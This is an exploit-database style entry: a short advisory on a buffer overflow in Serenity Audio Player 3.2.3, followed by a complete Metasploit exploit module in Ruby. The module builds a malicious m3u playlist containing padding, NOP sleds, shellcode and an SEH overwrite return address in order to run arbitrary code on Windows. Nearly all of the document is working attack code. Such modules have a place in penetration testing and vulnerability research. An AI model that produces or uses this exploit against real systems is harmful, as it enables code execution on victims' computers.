source: https://www.securityfocus.com/bid/39768/info
Serenity Audio Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.
Serenity Audio Player 3.2.3 is vulnerable; other versions may also be affected.
# Exploit Title: Serenity Audio Player Buffer Overflow (Meta)
# Date: April 26, 2010
# Author: Blake
# Version: 3.2.3
# Tested on: Windows XP SP3
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Serenity Audio Player Buffer Overflow Exploit',
'Description' => %q{
This module exploits a buffer overflow in Serenity Audio
Player versions 3.2.3 and below.
By creating a specially crafted m3u file, an an attacker may be
able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Blake',
],
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10226' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 972,
'BadChars' => "\x00\x0a\x0d\x20\x0b\x1a",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x00402593} ], # pop
edi; pop esi; ret - serenity.exe
],
'Privileged' => false,
'DisclosureDate' => 'Nov 11 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file
name.','exploit.m3u']),
], self.class)
end
def exploit
sploit = "http://" # header
sploit << rand_text_alphanumeric(972 - payload.encoded.length)
sploit << make_nops(10) # nop sled 1
sploit << payload.encoded # shellcode
sploit << make_nops(10) # nop sled 2
sploit << "\xe9\x4a\xfc\xff\xff" # near jump -950
sploit << "\xeb\xf9\x90\x90" # short jump
sploit << [target.ret].pack('V') # p/p/r
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end